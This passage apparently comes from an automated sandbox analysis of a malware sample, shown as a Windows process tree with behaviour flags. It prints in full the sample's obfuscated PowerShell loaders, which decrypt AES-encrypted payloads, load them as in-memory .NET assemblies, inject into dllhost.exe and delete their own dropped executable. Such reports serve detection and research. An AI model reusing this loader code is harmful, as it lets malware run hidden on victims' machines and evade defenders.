'')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2324
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5d6fe5a3-b187-49b5-a97b-132f8fe2dd95}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4880
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2324).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4104
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{25720dff-b447-403f-bca3-81a181895069}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1624
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5cdd3ff6-b58e-4e42-9b10-b26bb0ceb7cd}
        5⤵
        
        PID:2092
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{9ca9c27a-7169-48ba-9414-3b4d4044c479}
        5⤵
        
        PID:5000
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{2d737f78-ef5e-4a60-af81-877c660a9074}
        5⤵
        
        PID:1184
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5696d7cc-43ef-4d58-bf7b-2fd541310bbb}
        5⤵
        
        PID:2228
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{c33bb540-ffb0-48f5-8d6e-37693884ad92}
        5⤵
        
        PID:5028
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{526f65f7-718d-432f-acb4-5684b9e0f7b2}
        5⤵
        
        PID:1140
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1140 -s 456
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1712
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{8842de02-99a1-4fd8-b708-a202e1631754}
        5⤵
        
        PID:3384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1484
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2080

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2700

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2888

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3108

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1628
- - C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
    "AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{3d6d5f14-9b06-4971-a2df-9dd3878bac4b}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3144
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{d0d8cc5b-b173-4542-9f55-50a971b64280}
      4⤵
      PID:1596
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & exit
      4⤵
      PID:5320
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4156
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        Runs ping.exe
        
        PID:3500
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:2508
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:6120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3580

C:\Windows\system32\DllHost.exe
